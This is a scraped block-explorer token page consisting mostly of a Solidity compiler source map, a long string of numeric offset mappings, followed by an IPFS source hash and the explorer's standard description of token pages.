8:1;;;9749:39;9805:19;;15729:64:0;9425:405:1;15729:64:0;-1:-1:-1;;;;;15807:19:0;;;;;;:8;:19;;;;;;;;;:53;;-1:-1:-1;;;;;;15844:16:0;;;;;;:8;:16;;;;;;;;15807:53;15804:120;;;15904:8;;15888:13;:24;15804:120;-1:-1:-1;;;;;15952:24:0;;;;;;:16;:24;;;;;;;;15951:25;:57;;;;-1:-1:-1;;;;;;15981:27:0;;;;;;:16;:27;;;;;;;;15980:28;15951:57;:82;;;;-1:-1:-1;16027:6:0;;;;16026:7;15951:82;15934:778;;;16086:11;;;;;;;16060:99;;;;-1:-1:-1;;;16060:99:0;;10037:2:1;16060:99:0;;;10019:21:1;10076:2;10056:18;;;10049:30;10115:27;10095:18;;;10088:55;10160:18;;16060:99:0;9835:349:1;16060:99:0;16205:12;16192:10;;16178:11;;:24;;;;:::i;:::-;:39;16174:293;;;16268:7;;-1:-1:-1;;;;;16255:20:0;;;16268:7;;16255:20;16252:94;;-1:-1:-1;;;;;16300:19:0;;;;;;:8;:19;;;;;:26;;-1:-1:-1;;16300:26:0;16322:4;16300:26;;;16252:94;16377:7;;-1:-1:-1;;;;;16367:17:0;;;16377:7;;16367:17;16364:88;;-1:-1:-1;;;;;16409:16:0;;;;;;:8;:16;;;;;:23;;-1:-1:-1;;16409:23:0;16428:4;16409:23;;;16364:88;16486:9;;16476:6;:19;;16468:43;;;;-1:-1:-1;;;16468:43:0;;10391:2:1;16468:43:0;;;10373:21:1;10430:2;10410:18;;;10403:30;-1:-1:-1;;;10449:18:1;;;10442:41;10500:18;;16468:43:0;10189:335:1;16468:43:0;16544:7;;-1:-1:-1;;;;;16531:20:0;;;16544:7;;16531:20;16528:173;;16634:13;;16624:6;16601:20;16611:9;-1:-1:-1;;;;;7110:18:0;7083:7;7110:18;;;;;;;;;;;;7009:127;16601:20;:29;;;;:::i;:::-;:46;;16571:114;;;;-1:-1:-1;;;16571:114:0;;10731:2:1;16571:114:0;;;10713:21:1;10770:2;10750:18;;;10743:30;-1:-1:-1;;;10789:18:1;;;10782:45;10844:18;;16571:114:0;10529:339:1;16571:114:0;16752:6;;16722:15;;16752:6;;;:48;;-1:-1:-1;;;;;;16776:24:0;;;;;;:16;:24;;;;;;;;16752:48;:93;;;-1:-1:-1;;;;;;16818:27:0;;;;;;:16;:27;;;;;;;;16752:93;16748:376;;;-1:-1:-1;16882:1:0;16748:376;;;16932:7;;-1:-1:-1;;;;;16919:20:0;;;16932:7;;16919:20;:41;;;;-1:-1:-1;;;;;;16944:16:0;;;;;;:8;:16;;;;;;;;16943:17;16919:41;16916:197;;;17016:3;17000:13;;16991:6;:22;;;;:::i;:::-;:28;;;;:::i;:::-;16981:38;;16916:197;;;17094:3;17079:12;;17070:6;:21;;;;:::i;:::-;:27;;;;:::i;:::-;17060:37;;16916:197;17138:10;;;;:21;;;;-1:-1:-1;17153:6:0;;;;17152:7;17138:21;:56;;;;-1:-1:-1;17187:7:0;;-1:-1:-1;;;;;17177:17:0;;;17187:7;;17177:17;;17138:56;:85;;;;;17222:1;17212:7;:11;17138:85;17134:138;;;17250:10;:8;:10::i;:::-;17285:11;;17282:235;;17313:47;17329:6;17345:4;17352:7;17313:15;:47::i;:::-;17375:55;17391:6;17399:9;17410:19;:6;17421:7;17410:10;:19::i;:::-;17375:15;:55::i;:::-;17282:235;;;17463:42;17479:6;17487:9;17498:6;17463:15;:42::i;:::-;15718:1806;15595:1929;;;:::o;17691:416::-;17780:16;;;17794:1;17780:16;;;;;;;;17756:21;;17780:16;;;;;;;;;;-1:-1:-1;17780:16:0;17756:40;;17825:4;17807;17812:1;17807:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;17807:23:0;;;-1:-1:-1;;;;;17807:23:0;;;;;17851:13;;;;;;;;;-1:-1:-1;;;;;17851:13:0;-1:-1:-1;;;;;17851:18:0;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17841:4;17846:1;17841:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;17841:30:0;;;:7;;;;;;;;;:30;17914:13;;17882:60;;17899:4;;17914:13;;;;17930:11;17882:8;:60::i;:::-;17981:13;;:118;;-1:-1:-1;;;17981:118:0;;:13;;;;-1:-1:-1;;;;;17981:13:0;;:64;;:118;;18046:11;;18059:1;;18062:4;;18076;;18083:15;;17981:118;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17745:362;17691:416;:::o;11636:317::-;11751:6;11726:21;:31;;11718:73;;;;-1:-1:-1;;;11718:73:0;;12316:2:1;11718:73:0;;;12298:21:1;12355:2;12335:18;;;12328:30;12394:31;12374:18;;;12367:59;12443:18;;11718:73:0;12114:353:1;11718:73:0;11805:12;11823:9;-1:-1:-1;;;;;11823:14:0;11845:6;11823:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11804:52;;;11875:7;11867:78;;;;-1:-1:-1;;;11867:78:0;;12884:2:1;11867:78:0;;;12866:21:1;12923:2;12903:18;;;12896:30;12962:34;12942:18;;;12935:62;13033:28;13013:18;;;13006:56;13079:19;;11867:78:0;12682:422:1;11432:173:0;11507:6;;;-1:-1:-1;;;;;11524:17:0;;;-1:-1:-1;;;;;;11524:17:0;;;;;;;11557:40;;11507:6;;;11524:17;11507:6;;11557:40;;11488:16;;11557:40;11477:128;11432:173;:::o;14832:97::-;14906:15;:6;14915;14906:15;:::i;:::-;14894:9;:27;-1:-1:-1;14832:97:0:o;14941:105::-;15023:15;:6;15032;15023:15;:::i;:::-;15007:13;:31;-1:-1:-1;14941:105:0:o;15159:420::-;15242:4;15198:23;7110:18;;;;;;;;;;;15282:13;;15263:32;;15259:313;;15343:21;15385:32;15401:15;15385;:32::i;:::-;15438:20;15461:38;15485:14;15461:21;:38;:::i;:::-;15524:9;;15438:61;;-1:-1:-1;15516:42:0;;-1:-1:-1;;;;;15524:9:0;15438:61;15516:28;:42::i;8316:544::-;-1:-1:-1;;;;;8422:20:0;;8414:70;;;;-1:-1:-1;;;8414:70:0;;13311:2:1;8414:70:0;;;13293:21:1;13350:2;13330:18;;;13323:30;13389:34;13369:18;;;13362:62;-1:-1:-1;;;13440:18:1;;;13433:35;13485:19;;8414:70:0;13109:401:1;8414:70:0;-1:-1:-1;;;;;8503:23:0;;8495:71;;;;-1:-1:-1;;;8495:71:0;;13717:2:1;8495:71:0;;;13699:21:1;13756:2;13736:18;;;13729:30;13795:34;13775:18;;;13768:62;-1:-1:-1;;;13846:18:1;;;13839:33;13889:19;;8495:71:0;13515:399:1;8495:71:0;-1:-1:-1;;;;;8603:17:0;;8579:21;8603:17;;;;;;;;;;;8639:23;;;;8631:74;;;;-1:-1:-1;;;8631:74:0;;14121:2:1;8631:74:0;;;14103:21:1;14160:2;14140:18;;;14133:30;14199:34;14179:18;;;14172:62;-1:-1:-1;;;14250:18:1;;;14243:36;14296:19;;8631:74:0;13919:402:1;8631:74:0;8736:22;8752:6;8736:13;:22;:::i;:::-;-1:-1:-1;;;;;8716:17:0;;;:9;:17;;;;;;;;;;;:42;;;;8769:20;;;;;;;;:30;;8793:6;;8716:9;8769:30;;8793:6;;8769:30;:::i;:::-;;;;;;;;8834:9;-1:-1:-1;;;;;8817:35:0;8826:6;-1:-1:-1;;;;;8817:35:0;;8845:6;8817:35;;;;160:25:1;;148:2;133:18;;14:177;8817:35:0;;;;;;;;8403:457;8316:544;;;:::o;3240:136::-;3298:7;3325:43;3329:1;3332;3325:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;3318:50;3240:136;-1:-1:-1;;;3240:136:0:o;2343:190::-;2429:7;2465:12;2457:6;;;;2449:29;;;;-1:-1:-1;;;2449:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2489:9:0;2501:5;2505:1;2501;:5;:::i;:::-;2489:17;2343:190;-1:-1:-1;;;;;2343:190:0:o;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;885:134;953:20;;982:31;953:20;982:31;:::i;:::-;885:134;;;:::o;1024:315::-;1092:6;1100;1153:2;1141:9;1132:7;1128:23;1124:32;1121:52;;;1169:1;1166;1159:12;1121:52;1208:9;1195:23;1227:31;1252:5;1227:31;:::i;:::-;1277:5;1329:2;1314:18;;;;1301:32;;-1:-1:-1;;;1024:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;1997:316::-;2074:6;2082;2090;2143:2;2131:9;2122:7;2118:23;2114:32;2111:52;;;2159:1;2156;2149:12;2111:52;-1:-1:-1;;2182:23:1;;;2252:2;2237:18;;2224:32;;-1:-1:-1;2303:2:1;2288:18;;;2275:32;;1997:316;-1:-1:-1;1997:316:1:o;2715:247::-;2774:6;2827:2;2815:9;2806:7;2802:23;2798:32;2795:52;;;2843:1;2840;2833:12;2795:52;2882:9;2869:23;2901:31;2926:5;2901:31;:::i;3190:127::-;3251:10;3246:3;3242:20;3239:1;3232:31;3282:4;3279:1;3272:15;3306:4;3303:1;3296:15;3322:1121;3406:6;3437:2;3480;3468:9;3459:7;3455:23;3451:32;3448:52;;;3496:1;3493;3486:12;3448:52;3536:9;3523:23;3565:18;3606:2;3598:6;3595:14;3592:34;;;3622:1;3619;3612:12;3592:34;3660:6;3649:9;3645:22;3635:32;;3705:7;3698:4;3694:2;3690:13;3686:27;3676:55;;3727:1;3724;3717:12;3676:55;3763:2;3750:16;3785:2;3781;3778:10;3775:36;;;3791:18;;:::i;:::-;3837:2;3834:1;3830:10;3869:2;3863:9;3932:2;3928:7;3923:2;3919;3915:11;3911:25;3903:6;3899:38;3987:6;3975:10;3972:22;3967:2;3955:10;3952:18;3949:46;3946:72;;;3998:18;;:::i;:::-;4034:2;4027:22;4084:18;;;4118:15;;;;-1:-1:-1;4160:11:1;;;4156:20;;;4188:19;;;4185:39;;;4220:1;4217;4210:12;4185:39;4244:11;;;;4264:148;4280:6;4275:3;4272:15;4264:148;;;4346:23;4365:3;4346:23;:::i;:::-;4334:36;;4297:12;;;;4390;;;;4264:148;;;4431:6;3322:1121;-1:-1:-1;;;;;;;;3322:1121:1:o;4448:388::-;4516:6;4524;4577:2;4565:9;4556:7;4552:23;4548:32;4545:52;;;4593:1;4590;4583:12;4545:52;4632:9;4619:23;4651:31;4676:5;4651:31;:::i;:::-;4701:5;-1:-1:-1;4758:2:1;4743:18;;4730:32;4771:33;4730:32;4771:33;:::i;:::-;4823:7;4813:17;;;4448:388;;;;;:::o;4841:180::-;4900:6;4953:2;4941:9;4932:7;4928:23;4924:32;4921:52;;;4969:1;4966;4959:12;4921:52;-1:-1:-1;4992:23:1;;4841:180;-1:-1:-1;4841:180:1:o;5026:380::-;5105:1;5101:12;;;;5148;;;5169:61;;5223:4;5215:6;5211:17;5201:27;;5169:61;5276:2;5268:6;5265:14;5245:18;5242:38;5239:161;;5322:10;5317:3;5313:20;5310:1;5303:31;5357:4;5354:1;5347:15;5385:4;5382:1;5375:15;5239:161;;5026:380;;;:::o;5820:127::-;5881:10;5876:3;5872:20;5869:1;5862:31;5912:4;5909:1;5902:15;5936:4;5933:1;5926:15;5952:128;6019:9;;;6040:11;;;6037:37;;;6054:18;;:::i;6085:356::-;6287:2;6269:21;;;6306:18;;;6299:30;6365:34;6360:2;6345:18;;6338:62;6432:2;6417:18;;6085:356::o;6446:125::-;6511:9;;;6532:10;;;6529:36;;;6545:18;;:::i;6576:168::-;6649:9;;;6680;;6697:15;;;6691:22;;6677:37;6667:71;;6718:18;;:::i;6749:217::-;6789:1;6815;6805:132;;6859:10;6854:3;6850:20;6847:1;6840:31;6894:4;6891:1;6884:15;6922:4;6919:1;6912:15;6805:132;-1:-1:-1;6951:9:1;;6749:217::o;7250:277::-;7317:6;7370:2;7358:9;7349:7;7345:23;7341:32;7338:52;;;7386:1;7383;7376:12;7338:52;7418:9;7412:16;7471:5;7464:13;7457:21;7450:5;7447:32;7437:60;;7493:1;7490;7483:12;7938:127;7999:10;7994:3;7990:20;7987:1;7980:31;8030:4;8027:1;8020:15;8054:4;8051:1;8044:15;8070:135;8109:3;8130:17;;;8127:43;;8150:18;;:::i;:::-;-1:-1:-1;8197:1:1;8186:13;;8070:135::o;10873:251::-;10943:6;10996:2;10984:9;10975:7;10971:23;10967:32;10964:52;;;11012:1;11009;11002:12;10964:52;11044:9;11038:16;11063:31;11088:5;11063:31;:::i;11129:980::-;11391:4;11439:3;11428:9;11424:19;11470:6;11459:9;11452:25;11496:2;11534:6;11529:2;11518:9;11514:18;11507:34;11577:3;11572:2;11561:9;11557:18;11550:31;11601:6;11636;11630:13;11667:6;11659;11652:22;11705:3;11694:9;11690:19;11683:26;;11744:2;11736:6;11732:15;11718:29;;11765:1;11775:195;11789:6;11786:1;11783:13;11775:195;;;11854:13;;-1:-1:-1;;;;;11850:39:1;11838:52;;11945:15;;;;11910:12;;;;11886:1;11804:9;11775:195;;;-1:-1:-1;;;;;;;12026:32:1;;;;12021:2;12006:18;;11999:60;-1:-1:-1;;;12090:3:1;12075:19;12068:35;11987:3;11129:980;-1:-1:-1;;;11129:980:1:o

Swarm Source

ipfs://9856ca72a2bc334acdaa5f8eb8fbdb14d20fc9896128bc03c8bb5ab31bba6650
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.